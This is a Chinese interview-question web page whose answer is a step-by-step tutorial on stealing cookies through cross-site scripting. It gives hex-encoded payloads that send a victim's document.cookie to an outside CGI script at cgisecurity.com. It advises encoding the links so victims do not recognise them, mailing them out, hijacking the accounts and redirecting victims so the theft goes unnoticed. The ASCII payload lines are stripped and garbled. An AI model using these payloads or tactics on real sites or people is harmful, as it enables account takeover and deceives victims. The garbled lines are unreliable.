能否解释一下XSS cookie盗窃是什么意思


Posted in 面试题 onJune 02, 2012
根据作为攻击对象的Web程序,下面某些变量和插入位置可能需要进行调整。要注意这只是攻击方法的一个例子。在这个例子中,我们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,通过正常请求进行攻击。这是跨站脚本攻击最常见的形式。
第一步: 锁定目标

当你找到某个Web程序存在XSS漏洞之后,检查一下它是否设置了cookie。如果在该网站的任何地方设置了cookie,那么就可以从用户那里盗取它。
第二步: 测试

不同的攻击方式将产生不同的XSS漏洞,所以应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入之后会破坏输出的页面。(为欺骗用户,输出结果非常重要,因此攻击者有必要调整攻击代码使输出看起来正常。)

下一步你需要在链接至包含XSS漏洞的页面的URL中插入 Javascript(或其他客户端脚本)。下面列出了一些经常用于测试XSS漏洞的链接。当用户点击这些链接时,用户的cookie奖被发送到 www.cgisecurity.com/cgi-bin/cookie.cgi 并被显示。如果你看到显示结果中包含了cookie信息,说明可能可以劫持该用户的账户。

盗取Cookie的Javascript示例。使用方法如下。

ASCII用法

http://host/a.php?variable=”>

十六进制用法

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。

1. “>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2.

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. >

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 执行XSS

将做好的URL通过电子邮件或其他方式发送出去。注意如果你直接将URL发送给其他人(通过电子邮件、即时通讯软件或其他方式),你应当将其进行十六进制编码,因为这些URL一眼便可看出包含恶意代码,但经过十六进制编码之后就可以欺骗大部分人。
第四步: 处理收集到的信息

一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就获得了 cookie信息,然后你可以利用Websleuth之类的工具来检查是否能盗取那个账户。

在上面的例子中,我们仅仅将用户带到了 cookie.cgi页面上。如果你有时间,你可以在CGI中将用户重定向到原来的页面上,即可在用户不知不觉之中盗取信息。

某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即使像Hotmail这样的大型网站也是如此,不过它对附件内容作了许多过滤以避免cookie被盗。

Tags in this post...

面试题 相关文章推荐
广州御银科技股份有限公司试卷(C++)
Nov 04 面试题
一个C/C++编程面试题
Nov 10 面试题
什么是唯一索引
Jul 05 面试题
CSMA/CD介质访问控制协议
Nov 17 面试题
世界经理人咨询有限公司面试
Sep 23 面试题
介绍一下常见的木马种类
Nov 15 面试题
武汉瑞得软件笔试题
Oct 27 面试题
linux下进程间通信的方式
Jan 23 面试题
在对linux系统分区进行格式化时需要对磁盘簇(或i节点密度)的大小进行选择,请说明选择的原则
Jan 13 面试题
介绍一下Python下range()函数的用法
Nov 07 面试题
构造方法和其他方法的区别
Apr 26 面试题
Java语言程序设计测试题判断题部分
Jan 06 面试题
什么是跨站脚本攻击
Dec 11 #面试题
金士达面试非笔试
Mar 14 #面试题
傲盾软件面试题
Aug 17 #面试题
网络安全类面试题
Aug 01 #面试题
如何保障Web服务器安全
May 05 #面试题
介绍一下如何利用路径遍历进行攻击及如何防范
Jan 19 #面试题
SQL注入攻击的种类有哪些
Dec 30 #面试题
You might like
如何在PHP中使用Oracle数据库(1)
2006/10/09 PHP
PHP实现简单爬虫的方法
2015/07/29 PHP
Zend Framework实现将session存储在memcache中的方法
2016/03/22 PHP
PHP实现的下载远程文件类定义与用法示例
2017/07/05 PHP
PHP unset函数原理及使用方法解析
2020/08/14 PHP
用js判断用户浏览器是否是XP SP2的IE6
2007/03/08 Javascript
(function($){...})(jQuery)的意思
2010/07/22 Javascript
使用Jquery来实现可以输入值的下拉选单 雏型
2011/12/06 Javascript
js实现翻页后保持checkbox选中状态的实现方法
2012/11/03 Javascript
JavaScript获取DOM元素的11种方法总结
2015/04/25 Javascript
原生javascript实现匀速运动动画效果
2016/02/26 Javascript
JavaScript中的Reflect对象详解(ES6新特性)
2016/07/22 Javascript
AngularJS基础 ng-submit 指令简单示例
2016/08/03 Javascript
js发送短信倒计时的简单实现方法
2016/09/08 Javascript
详解webpack+angular2开发环境搭建
2017/06/28 Javascript
详解vue.js移动端导航navigationbar的封装
2017/07/05 Javascript
vuejs父子组件之间数据交互详解
2017/08/09 Javascript
jQuery选择器之子元素选择器详解
2017/09/18 jQuery
vue系列之requireJs中引入vue-router的方法
2018/07/18 Javascript
nodejs二进制与Buffer的介绍与使用
2019/07/11 NodeJs
在Layui中实现开关按钮的效果实例
2019/09/29 Javascript
JavaScript实现图片放大预览效果
2020/11/02 Javascript
如何在JavaScript中等分数组的实现
2020/12/13 Javascript
Python中IPYTHON入门实例
2015/05/11 Python
python命令行参数用法实例分析
2019/06/25 Python
python 搜索大文件的实例代码
2019/07/08 Python
Django静态文件加载失败解决方案
2020/08/26 Python
python中类与对象之间的关系详解
2020/12/16 Python
Skyscanner澳大利亚:全球领先的旅游搜索网站
2018/03/24 全球购物
苏格兰在线威士忌商店:The Whisky Barrel
2019/05/07 全球购物
Java中有几种方法可以实现一个线程?用什么关键字修饰同步方法?stop()和suspend()方法为何不推荐使用?
2015/08/04 面试题
家长对老师的感言
2014/03/11 职场文书
图书室标语
2014/06/21 职场文书
学生保证书
2015/01/16 职场文书
学校2016年全国助残日活动总结
2016/04/01 职场文书
一行Python命令实现批量加水印
2022/04/07 Python